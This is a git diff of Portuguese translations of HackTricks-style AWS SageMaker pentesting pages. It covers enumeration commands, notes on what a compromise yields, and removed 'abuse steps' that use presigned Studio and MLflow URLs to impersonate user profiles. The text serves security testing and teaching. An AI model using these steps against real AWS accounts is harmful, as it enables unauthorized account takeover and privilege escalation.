|
||||
--query "items[].{Id:id,Name:name}" \
|
||||
--output json
|
||||
|
||||
# Add IAM user as a user of the domain
|
||||
aws datazone create-user-profile \
|
||||
--region us-east-1 \
|
||||
--domain-identifier <domain-id> \
|
||||
--user-identifier <arn-user> \
|
||||
--user-type IAM_USER
|
||||
```
|
||||
A URL do Unified Domain tem o seguinte formato: `https://<domain-id>.sagemaker.<region>.on.aws/` (e.g. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).
|
||||
|
||||
**Impacto Potencial:** Acesso ao Sagemaker Unified Studio Domain por um usuário, permitindo acessar todos os recursos dentro do domínio Sagemaker e até escalar privilégios para a role que os notebooks dentro do Sagemaker Unified Studio Domain estão usando.
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Visão Geral do Serviço
|
||||
## Visão geral do serviço
|
||||
|
||||
Amazon SageMaker é a plataforma gerenciada de machine-learning da AWS que integra notebooks, infraestrutura de training, orchestration, registries e endpoints gerenciados. Um comprometimento de recursos do SageMaker tipicamente fornece:
|
||||
Amazon SageMaker é a plataforma gerenciada de machine learning da AWS que integra notebooks, infraestrutura de treinamento, orquestração, registries e endpoints gerenciados. Um comprometimento de recursos do SageMaker normalmente fornece:
|
||||
|
||||
- IAM execution roles de longa duração com amplo acesso a S3, ECR, Secrets Manager ou KMS.
|
||||
- Long-lived IAM execution roles com amplo acesso a S3, ECR, Secrets Manager ou KMS.
|
||||
- Acesso a datasets sensíveis armazenados em S3, EFS ou dentro de feature stores.
|
||||
- Pontos de presença na rede dentro de VPCs (Studio apps, training jobs, endpoints).
|
||||
- High-privilege presigned URLs que bypassam a autenticação do console.
|
||||
- Network footholds dentro de VPCs (Studio apps, training jobs, endpoints).
|
||||
- High-privilege presigned URLs que contornam a autenticação do console.
|
||||
|
||||
Entender como o SageMaker é montado é chave antes de pivot, persist, or exfiltrate data.
|
||||
Entender como o SageMaker é montado é crucial antes de pivot, persist ou exfiltrate dados.
|
||||
|
||||
## Componentes Principais
|
||||
## Componentes principais
|
||||
|
||||
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Cada domain possui um sistema de arquivos EFS compartilhado e default execution role.
|
||||
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Cada domain tem um sistema de arquivos EFS compartilhado e um default execution role.
|
||||
- **Notebook Instances**: Instâncias EC2 gerenciadas para notebooks standalone; usam execution roles separados.
|
||||
- **Training / Processing / Transform Jobs**: Containers efêmeros que puxam código do ECR e dados do S3.
|
||||
- **Pipelines & Experiments**: Workflows orquestrados que descrevem todos os passos, inputs e outputs.
|
||||
- **Training / Processing / Transform Jobs**: Contêineres efêmeros que puxam código do ECR e dados do S3.
|
||||
- **Pipelines & Experiments**: Workflows orquestrados que descrevem todos os passos, entradas e saídas.
|
||||
- **Models & Endpoints**: Artefatos empacotados implantados para inferência via endpoints HTTPS.
|
||||
- **Feature Store & Data Wrangler**: Serviços gerenciados para preparação de dados e gerenciamento de features.
|
||||
- **Autopilot & JumpStart**: ML automatizado e catálogo de modelos curado.
|
||||
- **MLflow Tracking Servers**: UI/API MLflow gerenciada com presigned access tokens.
|
||||
- **Autopilot & JumpStart**: ML automatizado e catálogo de modelos curados.
|
||||
- **MLflow Tracking Servers**: UI/API MLflow gerenciado com presigned access tokens.
|
||||
|
||||
Cada recurso referencia uma execution role, locais S3, imagens de container e configuração opcional de VPC/KMS — capture todos eles durante a enumeração.
|
||||
Cada recurso referencia um execution role, localizações S3, imagens de container e configuração opcional VPC/KMS — capture todos durante a enumeração.
|
||||
|
||||
## Metadados da Conta & Globais
|
||||
## Account & Global Metadata
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Portfolio status, used when provisioning Studio resources
|
||||
@@ -39,9 +39,9 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' -
|
||||
# Generic tag sweep across any SageMaker ARN you know
|
||||
aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
|
||||
```
|
||||
Anote qualquer confiança entre contas (execution roles ou S3 buckets com external principals) e restrições básicas, como service control policies ou SCPs.
|
||||
Anote qualquer confiança entre contas (roles de execução ou buckets S3 com entidades externas) e restrições básicas, como service control policies ou SCPs.
|
||||
|
||||
## Domínios do Studio, Apps & Espaços Compartilhados
|
||||
## Domínios do Studio, Apps e Shared Spaces
|
||||
```bash
|
||||
aws sagemaker list-domains --region $REGION
|
||||
aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
|
||||
@@ -63,13 +63,13 @@ aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <n
|
||||
O que registrar:
|
||||
|
||||
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
|
||||
- EFS montado (`HomeEfsFileSystemId`) e diretórios home no S3.
|
||||
- Scripts de lifecycle (frequentemente contêm credenciais de bootstrap ou código extra para push/pull).
|
||||
- EFS montado (`HomeEfsFileSystemId`) e diretórios home do S3.
|
||||
- scripts de lifecycle (frequentemente contêm credenciais de bootstrap ou código extra para push/pull).
|
||||
|
||||
> [!TIP]
|
||||
> Presigned Studio URLs podem contornar a autenticação se concedidos amplamente.
|
||||
> URLs de Studio pré-assinadas podem contornar a autenticação se concedidas amplamente.
|
||||
|
||||
## Instâncias de Notebook & Configurações de ciclo de vida
|
||||
## Instâncias de Notebook & Configurações de Lifecycle
|
||||
```bash
|
||||
aws sagemaker list-notebook-instances --region $REGION
|
||||
aws sagemaker describe-notebook-instance --notebook-instance-name <name> --region $REGION
|
||||
@@ -78,8 +78,8 @@ aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-li
|
||||
```
|
||||
Metadados do notebook revelam:
|
||||
|
||||
- Função de execução (`RoleArn`), acesso direto à Internet vs. modo somente VPC.
|
||||
- Localizações S3 em `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
|
||||
- Função de execução (`RoleArn`), acesso direto à internet vs. modo somente VPC.
|
||||
- Locais S3 em `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
|
||||
- Scripts de ciclo de vida para credenciais ou ganchos de persistência.
|
||||
|
||||
## Treinamento, Processamento, Transform & Batch Jobs
|
||||
@@ -93,12 +93,12 @@ aws sagemaker describe-processing-job --processing-job-name <job> --region $REGI
|
||||
aws sagemaker list-transform-jobs --region $REGION
|
||||
aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
|
||||
```
|
||||
Examinar:
|
||||
Inspecione:
|
||||
|
||||
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – quais imagens ECR estão implantadas.
|
||||
- `InputDataConfig` & `OutputDataConfig` – S3 buckets, prefixes e chaves KMS.
|
||||
- `InputDataConfig` & `OutputDataConfig` – buckets S3, prefixos, e chaves KMS.
|
||||
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – determinar a postura de rede ou de criptografia.
|
||||
- `HyperParameters` podem leak segredos do ambiente ou strings de conexão.
|
||||
- `HyperParameters` may leak segredos de ambiente ou strings de conexão.
|
||||
|
||||
## Pipelines, Experiments & Trials
|
||||
```bash
|
||||
@@ -110,7 +110,7 @@ aws sagemaker list-experiments --region $REGION
|
||||
aws sagemaker list-trials --experiment-name <experiment> --region $REGION
|
||||
aws sagemaker list-trial-components --trial-name <trial> --region $REGION
|
||||
```
|
||||
As definições de pipeline detalham cada etapa, roles associados, imagens de container e variáveis de ambiente. Componentes de trial frequentemente contêm URIs de artefatos de treinamento, logs do S3 e métricas que indicam fluxo de dados sensíveis.
|
||||
As definições de pipeline descrevem cada etapa, as funções associadas, imagens de contêiner e variáveis de ambiente. Componentes de Trial frequentemente contêm URIs de artefatos de treinamento, logs do S3 e métricas que sugerem fluxo de dados sensíveis.
|
||||
|
||||
## Modelos, Configurações de Endpoint & Endpoints Implantados
|
||||
```bash
|
||||
@@ -125,8 +125,8 @@ aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
|
||||
```
|
||||
Áreas de foco:
|
||||
|
||||
- URIs S3 dos artefatos do modelo (`PrimaryContainer.ModelDataUrl`) e imagens de container de inferência.
|
||||
- Configuração de captura de dados do endpoint (S3 bucket, KMS) para possível exfiltração de logs.
|
||||
- URIs S3 dos artefatos de modelo (`PrimaryContainer.ModelDataUrl`) e imagens de container de inferência.
|
||||
- Configuração de captura de dados do endpoint (S3 bucket, KMS) para possível log exfil.
|
||||
- Endpoints multi-model usando `S3DataSource` ou `ModelPackage` (verificar empacotamento entre contas).
|
||||
- Configurações de rede e security groups anexados aos endpoints.
|
||||
|
||||
@@ -144,8 +144,8 @@ aws sagemaker list-model-monitoring-schedule --region $REGION
|
||||
Principais pontos de segurança:
|
||||
|
||||
- Online feature stores replicam dados para Kinesis; verifique `OnlineStoreConfig.SecurityConfig.KmsKeyId` e VPC.
|
||||
- Fluxos do Data Wrangler frequentemente incorporam credenciais JDBC/Redshift ou endpoints privados.
|
||||
- Jobs do Clarify/Model Monitor exportam dados para o S3 que podem ser legíveis publicamente ou acessíveis entre contas.
|
||||
- Data Wrangler flows frequentemente incorporam credenciais JDBC/Redshift ou endpoints privados.
|
||||
- Jobs Clarify/Model Monitor exportam dados para S3 que podem ser legíveis publicamente (world-readable) ou acessíveis entre contas.
|
||||
|
||||
## MLflow Tracking Servers, Autopilot & JumpStart
|
||||
```bash
|
||||
@@ -158,15 +158,15 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
|
||||
aws sagemaker list-jumpstart-models --region $REGION
|
||||
aws sagemaker list-jumpstart-script-resources --region $REGION
|
||||
```
|
||||
- Servidores de tracking do MLflow armazenam experimentos e artefatos; presigned URLs podem expor tudo.
|
||||
- Jobs do Autopilot disparam vários training jobs — enumere os outputs em busca de dados ocultos.
|
||||
- Arquiteturas de referência do JumpStart podem implantar roles privilegiadas na conta.
|
||||
- MLflow tracking servers store experiments and artefacts; URLs pré-assinadas podem expor tudo.
|
||||
- Autopilot jobs iniciam múltiplos training jobs — enumerate outputs em busca de dados ocultos.
|
||||
- JumpStart reference architectures podem implantar funções privilegiadas na conta.
|
||||
|
||||
## Considerações de IAM e Networking
|
||||
## Considerações de IAM & Rede
|
||||
|
||||
- Enumere as IAM policies anexadas a todos os execution roles (Studio, notebooks, training jobs, pipelines, endpoints).
|
||||
- Verifique os contextos de rede: subnets, security groups, VPC endpoints. Muitas organizações isolam training jobs, mas esquecem de restringir o tráfego de saída.
|
||||
- Revise as S3 bucket policies referenciadas em `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` para acesso externo.
|
||||
- Enumerate políticas IAM anexadas a todas as execution roles (Studio, notebooks, training jobs, pipelines, endpoints).
|
||||
- Verifique os contextos de rede: subnets, security groups, VPC endpoints. Muitas organizações isolam training jobs mas esquecem de restringir o tráfego de saída.
|
||||
- Revise políticas de bucket S3 referenciadas em `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` quanto ao acesso externo.
|
||||
|
||||
## Escalada de Privilégios
|
||||
|
||||
|
||||
@@ -2,107 +2,12 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker Studio - Tomada de Conta via CreatePresignedDomainUrl (Impersonar qualquer UserProfile)
|
||||
## URLs pré-assinadas para SageMaker
|
||||
|
||||
### Description
|
||||
Uma identidade com permissão para chamar `sagemaker:CreatePresignedDomainUrl` em um `UserProfile` alvo do Studio pode gerar uma URL de login que autentica diretamente no SageMaker Studio como esse perfil. Isso concede ao navegador do atacante uma sessão do Studio que herda as permissões do `ExecutionRole` do perfil e acesso total ao home do perfil suportado por EFS e aos apps. Não é necessário `iam:PassRole` nem acesso ao console.
|
||||
Se um atacante conseguir obter uma presigned URL para um recurso do SageMaker, ele poderá acessá-lo sem qualquer autenticação adicional. As permissões e o nível de acesso dependerão da role associada ao recurso:
|
||||
|
||||
### Requirements
|
||||
- Um SageMaker Studio `Domain` e um `UserProfile` alvo dentro dele.
|
||||
- O principal atacante precisa de `sagemaker:CreatePresignedDomainUrl` no `UserProfile` alvo (nível de recurso) ou `*`.
|
||||
|
||||
Minimal policy example (scoped to one UserProfile):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Etapas de Abuso
|
||||
|
||||
1) Enumerar um Studio Domain e UserProfiles que você pode ter como alvo
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) Gerar uma URL pré-assinada (válida por ~5 minutos por padrão)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Abra a URL retornada em um navegador para entrar no Studio como o usuário alvo. Em um terminal Jupyter dentro do Studio, verifique a identidade efetiva:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Notas:
|
||||
- `--landing-uri` pode ser omitido. Alguns valores (por exemplo, `app:JupyterLab:/lab`) podem ser rejeitados dependendo da variante/versão do Studio; os padrões normalmente redirecionam para a home do Studio e depois para o Jupyter.
|
||||
- Políticas da organização/restrições de endpoint VPC ainda podem bloquear o acesso à rede; a emissão do token não requer login no console ou `iam:PassRole`.
|
||||
|
||||
### Impacto
|
||||
- Movimento lateral e escalada de privilégios ao assumir qualquer Studio `UserProfile` cujo ARN seja permitido, herdando seu `ExecutionRole` e sistema de arquivos/apps.
|
||||
|
||||
### Evidência (de um teste controlado)
|
||||
- Com apenas `sagemaker:CreatePresignedDomainUrl` no `UserProfile` alvo, the attacker role retornou com sucesso um `AuthorizedUrl` como:
|
||||
```
|
||||
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
|
||||
```
|
||||
- Uma requisição HTTP direta responde com um redirecionamento (HTTP 302) para Studio, confirmando que a URL é válida e ativa até expirar.
|
||||
|
||||
|
||||
## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
|
||||
|
||||
### Descrição
|
||||
Uma identidade com permissão para chamar `sagemaker:CreatePresignedMlflowTrackingServerUrl` para um SageMaker MLflow Tracking Server alvo pode gerar uma URL presignada de uso único que autentica diretamente na UI gerenciada do MLflow desse servidor. Isso concede o mesmo acesso que um usuário legítimo teria ao servidor (visualizar/criar experimentos e execuções, e baixar/enviar artefatos no repositório S3 do servidor) sem acesso ao console ou `iam:PassRole`.
|
||||
|
||||
### Requisitos
|
||||
- Um SageMaker MLflow Tracking Server na conta/região e o seu nome.
|
||||
- O principal atacante precisa de `sagemaker:CreatePresignedMlflowTrackingServerUrl` no recurso MLflow Tracking Server alvo (ou `*`).
|
||||
|
||||
Exemplo de política mínima (limitada a um Tracking Server):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Etapas de Abuso
|
||||
|
||||
1) Enumere os MLflow Tracking Servers que você pode atingir e escolha um nome
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) Gerar uma URL pré-assinada do MLflow UI (válida por um curto período)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--expires-in-seconds 300 \
|
||||
--session-expiration-duration-in-seconds 1800 \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Abra a URL retornada em um navegador para acessar o MLflow UI como um usuário autenticado desse Tracking Server.
|
||||
|
||||
Notes:
|
||||
- O Tracking Server deve estar em um estado pronto (por exemplo, `Created/Active`). Se ainda estiver `Creating`, a chamada será rejeitada.
|
||||
- A presigned URL é de uso único e de curta duração; gere uma nova quando necessário.
|
||||
|
||||
### Impacto
|
||||
- Acesso direto ao MLflow UI gerenciado do Tracking Server alvo, permitindo visualizar e modificar experiments/runs e recuperar ou enviar artefatos armazenados no S3 artifact store configurado no servidor, dentro das permissões impostas pela configuração do servidor.
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user